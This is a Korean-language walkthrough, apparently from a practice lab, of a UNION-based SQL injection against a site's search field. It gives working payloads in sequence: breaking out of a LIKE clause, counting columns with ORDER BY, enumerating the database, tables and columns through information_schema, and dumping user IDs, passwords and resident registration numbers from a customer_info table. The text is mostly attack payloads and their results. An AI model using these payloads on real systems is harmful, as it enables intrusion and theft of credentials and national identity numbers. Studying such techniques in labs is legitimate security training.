우선 취약점을 확인해보자
검색할 단어인 admin에서 min만을 입력하여 검색해보면
이렇게 불완전한 문장도 검색이 되는것을 확인할수 있다.
따라서 사이트의 검색 코드는 select * from 테이블명 where id like '%~%' 일것이다.
이제 Injection이 가능한지 확인해보자
admin%' and '1%'='1을 입력해보면
이렇게 검색이 되는 모습을 확인할 수 있다.
admin%' and '1%'='1 이라는 명령어는 where id like '%~%' 에서
where id like '%admin%' and '1%'='1%' 이라는 구문으로 실행된다.
이게 무슨 말이나면 %' 를 통해 강제로 구문을 닫고 명령어를 입력해도 정상적으로 실행이 가능하다는 소리다.
이제 Injection을 진행해보자 우선 컬럼의 개수를 파악하기 위해 %' order by 1 #을 입력해보겠다.
검색이 정상적으로 실행된다. 따라서 컬럼의 개수는 1개 이상이다.
%' order by 10 # 를 실행시키자 검색이 되지 않는 모습을 확인할 수 있다.
%' order by 9 # 까지 입력했을때는 정상적으로 구문이 처리됬기에 컬럼의 개수는 9개라는걸 확인할 수 있다.
컬럼의 개수를 확인했으니 이제 출력이 가능한 컬럼을 찾아보자
%' union select 1, 2, 3, 4, 5, 6, 7, 8, 9 # 을 통해 1번~9번 컬럼중 화면에 출력이 되는 컬럼의 번호를 알아낼수 있다.
이렇게 1,2,5,8번 컬럼이 화면에 출력되는 컬럼이라는것을 확인할 수 있다.
앞으로 Injection을 진행하면서 출력할 컬럼은 2번으로 지정하겠다.
이제 DB를 확인해보자
%'and 1=2 union select null, database(), null, null, null, null, null, null, null #
and 1=2를 삽입하여 앞 부분을 항상 거짓으로 만들어 union select 의 결과만을 출력하도록 조정하고
database()를 통해 2번 컬럼에 DB의 이름을 출력한다.
출력값을 확인해보면 사이트에서 사용하는 DB의 이름이 pentest라는것을 확인할 수 있다.
이제 DB값을 알아냈으니 사이트의 테이블 이름을 알아내보자
%'and 1=2 union select null, table_name, null, null, null, null, null, null, null from information_schema.columns where table_schema='pentest' #
information_schema.tables where table_schema는 MySQL 데이터베이스에서 테이블의 메타데이터를 모아둔 DB로 pentest의 테이블에 대한 정보를 조회할수 있다.
명령어를 통해 customer_info, insecure_board, members란 이름을 확인했으니 이제 customer_info의 내용을 출력해보자
%'and 1=2 union select null, column_name, null, null, null, null, null, null, null from information_schema.columns where table_schema='pentest' and table_name='customer_info' #
customer_info의 컬럼 이름을 출력하는 명령어로 4개의 컬럼을 확인해볼 수 있다.
우린 이중 idx를 제외한 나머지 3개의 컬럼을 출력할것이다.
컬럼의 이름까지 알아냈으니 이제 union select를 사용해 1,2,5번 자리에 각각 id, password, jumin을 출력해보자
%'and 1=2 union select id, password, null, null, jumin, null, null, null, null from customer_info #
이렇게 원하는 정보가 출력되는걸 확인할 수 있다.